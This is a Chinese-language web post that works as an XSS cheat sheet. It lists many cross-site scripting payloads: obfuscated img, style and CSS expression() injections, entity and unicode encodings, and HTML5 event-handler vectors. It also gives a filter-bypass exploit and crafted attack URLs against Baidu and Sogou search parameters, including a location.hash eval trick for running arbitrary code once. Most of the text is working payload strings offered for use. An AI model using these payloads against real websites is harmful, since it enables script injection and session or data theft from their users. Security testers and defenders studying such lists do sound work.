XSS 跨站代码大全总结

<script>alert("跨站")</script>      (最常见的跨站代码)

<img src=javascript:alert("跨站")></img>

<img src="javascript: alert(/跨站/)></img>

<img src="javas????cript:alert(/跨站/)" width=150></img> (?是用tab键弄出来的空格)

<img src="#" onerror=alert(/跨站/)></img>

<img src="#" style="xss:e-xpression(alert(/xss/));"></img>

<img src="#"/* */onerror=alert(/xss/) width=150></img> (/**/ 表示注释)

<img src=vbscript:msgbox ("xss")></img>

<style> input {left:e-xpression (alert('xss'))}</style>

<div style={left:e-xpression (alert('xss'))}></div>

<div style={left:exp/* */ression (alert('xss'))}></div>

<div style={left:\0065\0078ression (alert('xss'))}></div>

html实体: <div style={left:&#x0065;xpression (alert('xss'))}></div>

unicode:<div style="{left:expRessioN (alert('xss'))}">

上面是普通的


163的filter过滤语句跨站代码


<style/style" STYLE="background: expre><ssion(alert(>"\\<XSS="));">

filter己将上述label理解为三个label,语法分析与其后语句关联分析时己失效.


exploit:<style/style" STYLE="background: expre><ssion(alert(>"\\<XSS="));"> background:expression((window.rrr==1)?'':eval('rrr=1; eval(unescape(alert(/t00ls低调发展/.source)));'));}'{}</style><div id="m">hhhhh</div> (己和谐)

不懂CSS的 百度下 "Css中的filter常用滤镜属性及语句大全"


上面中window.rrr==1等语句是给window对象的方法定义一个值,判断这个值运行一次.


来看看HTML5跨站代码


引入媒体类测试代码Example:


<video onerror=javascript:alert(1)><source>

<audio onerror=javascript:alert(1)><source>

表单点击测试代码Example:


<form id=test onforminput=alert(1)> <input> </form> <button form=test onformchange=alert(2)

>X

鼠标事件测试代码Example:


Before HTML5:


<input type=text value=�\�\>Injecting here  value)>

With HTML5:


<input type=text value=�\�\>Injecting here onfocus=alert(Injected value) autofocus>

DIV 测试代码Example:


<div draggable=true ondragstart=event.dataTransfer.setData(text/plain, Evil data)>

<h3>DRAG ME!!</h3>

</div>

引入框架测试代码Example:


<iframe src=http://www.sitedirsec.com sandbox></iframe>

再看看 百度想跨站代码 分两个0.0


这些是曾经的..


http://www.baidu.com/index.php?tn="/**/style=xss:expression(alert('xss'));

http://www.baidu.com/index.php?bar="/**/style=xss:expression(alert('xss'));

tn和bar两个参数对应在页面的输出是两个input表单值,可以使用”(双引号)闭合表单值,加入CSS属性跨站,页面具体输出如下:


<input type=hidden name=tn value=""/**/style=xss:expression(alert('xss'));">

这个漏洞只能在IE下使用,FIREFOX会把URL链接参数中的”(双引号)转成编码%22,页面参数的输出也会变成%22,就不能闭合”(双引号)跨站。expression()是个不听话的角色,这里可以用一个小技巧来去掉expression烦人的死循环。运行当前URL的#注释符后的代码:


eval(unescape(location.hash.substr(1)))

给window对象的方法定义一个值,判断这个值运行一次代码:


(window.r!=1)?eval('window.r=1;eval(unescape(location.hash.substr(1)))'):1

最后得到完美的攻击链接:


http://www.baidu.com/index.php?bar="/**/style=xss:expression((window.r!=1)?eval('window.r=1;eval(unescape(location.hash.substr(1)))'):1);#alert%28%29

恩 很好的思路 用给window对象的方法定义一个值,判断这个值运行一次代码 以及 # 搞定火狐.


还有 80vul的 搜狗跨站 (已经修补)


http://pinyin.sogou.com/skins/search.php?word=WCRTESTINPUT000000" onmouseover=window["al"+"ert"](1)

搜狗过滤的关键字alert 这样分开写 一样能跨


你可能感兴趣的:(xss)